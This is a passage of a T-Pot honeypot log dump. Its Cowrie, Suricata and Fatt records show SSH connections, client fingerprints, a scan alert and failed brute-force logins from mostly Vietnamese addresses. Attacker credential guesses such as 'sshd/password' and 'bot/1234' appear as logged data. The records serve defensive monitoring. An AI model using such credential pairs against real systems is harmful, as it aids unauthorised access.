"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24022	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:25.482525+03	2021-09-20 14:15:08.25547+03	{"_id": "GgbkAnwBvYTbRNuEkRHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:49932 (192.168.176.2:22) [session: 7c8c3c6da94b]", "session": "7c8c3c6da94b", "@version": "1", "protocol": "ssh", "src_port": 49932, "dest_port": 22, "timestamp": "2021-09-20T11:08:25.482525Z", "@timestamp": "2021-09-20T11:08:25.482Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24023	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:25.653816+03	2021-09-20 14:15:08.25647+03	{"_id": "HAbkAnwBvYTbRNuEkRHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7c8c3c6da94b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:25.653816Z", "@timestamp": "2021-09-20T11:08:25.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24024	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:25.679446+03	2021-09-20 14:15:08.25747+03	{"_id": "HQbkAnwBvYTbRNuEkRHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [laura/laura] failed", "session": "d30423c30be5", "@version": "1", "password": "laura", "username": "laura", "timestamp": "2021-09-20T11:08:25.679446Z", "@timestamp": "2021-09-20T11:08:25.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24025	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:25.766269+03	2021-09-20 14:15:08.258471+03	{"_id": "HgbkAnwBvYTbRNuEkRHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [sshd/password] failed", "session": "4a49f30d01e7", "@version": "1", "password": "password", "username": "sshd", "timestamp": "2021-09-20T11:08:25.766269Z", "@timestamp": "2021-09-20T11:08:25.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24026	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:25.769745+03	2021-09-20 14:15:08.25947+03	{"_id": "HwbkAnwBvYTbRNuEkRHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7c8c3c6da94b", "@version": "1", "timestamp": "2021-09-20T11:08:25.769745Z", "@timestamp": "2021-09-20T11:08:25.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24027	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:26.114892+03	2021-09-20 14:15:08.260471+03	{"_id": "IAbkAnwBvYTbRNuEkRHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4541dede7521", "@version": "1", "duration": 2.947268486022949, "timestamp": "2021-09-20T11:08:26.114892Z", "@timestamp": "2021-09-20T11:08:26.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24028	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.267047+03	2021-09-20 14:15:08.26147+03	{"_id": "IQbkAnwBvYTbRNuEkRHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2803c0f1e2f5", "@version": "1", "duration": 2.959339141845703, "timestamp": "2021-09-20T11:08:26.267047Z", "@timestamp": "2021-09-20T11:08:26.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24029	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:26.683452+03	2021-09-20 14:15:08.26247+03	{"_id": "IgbkAnwBvYTbRNuElBFT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:26.683452+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2251348500966844, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 49994, "dest_port": 22, "timestamp": "2021-09-20T11:08:26.683452Z", "@timestamp": "2021-09-20T11:08:26.683Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24035	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:19.108366+03	2021-09-20 14:15:08.269473+03	{"_id": "ZQbkAnwBvYTbRNuEdhCP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "71345146d39d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:19.108366Z", "@timestamp": "2021-09-20T11:08:19.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24030	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:27.04728+03	2021-09-20 14:15:08.26347+03	{"_id": "IwbkAnwBvYTbRNuElRE5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56822, "timestamp": "2021-09-20T11:08:27.047280", "@timestamp": "2021-09-20T11:08:27.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24031	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:27.047123+03	2021-09-20 14:15:08.26447+03	{"_id": "RQbkAnwBvYTbRNuEmBE8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 434573039774626, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56822, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.047123Z", "@timestamp": "2021-09-20T11:08:27.047Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24032	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:27.25432+03	2021-09-20 14:15:08.26547+03	{"_id": "RwbkAnwBvYTbRNuEmREj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49994, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.254320", "@timestamp": "2021-09-20T11:08:27.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24033	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:08:18.95205+03	2021-09-20 14:15:08.26747+03	{"_id": "WwbkAnwBvYTbRNuEdhCN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [bot/1234] failed", "session": "be2922540f08", "@version": "1", "password": "1234", "username": "bot", "timestamp": "2021-09-20T11:08:18.952050Z", "@timestamp": "2021-09-20T11:08:18.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24034	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:19.283401+03	2021-09-20 14:15:08.26847+03	{"_id": "XwbkAnwBvYTbRNuEdhCO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fa72da21487b", "@version": "1", "timestamp": "2021-09-20T11:08:19.283401Z", "@timestamp": "2021-09-20T11:08:19.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-9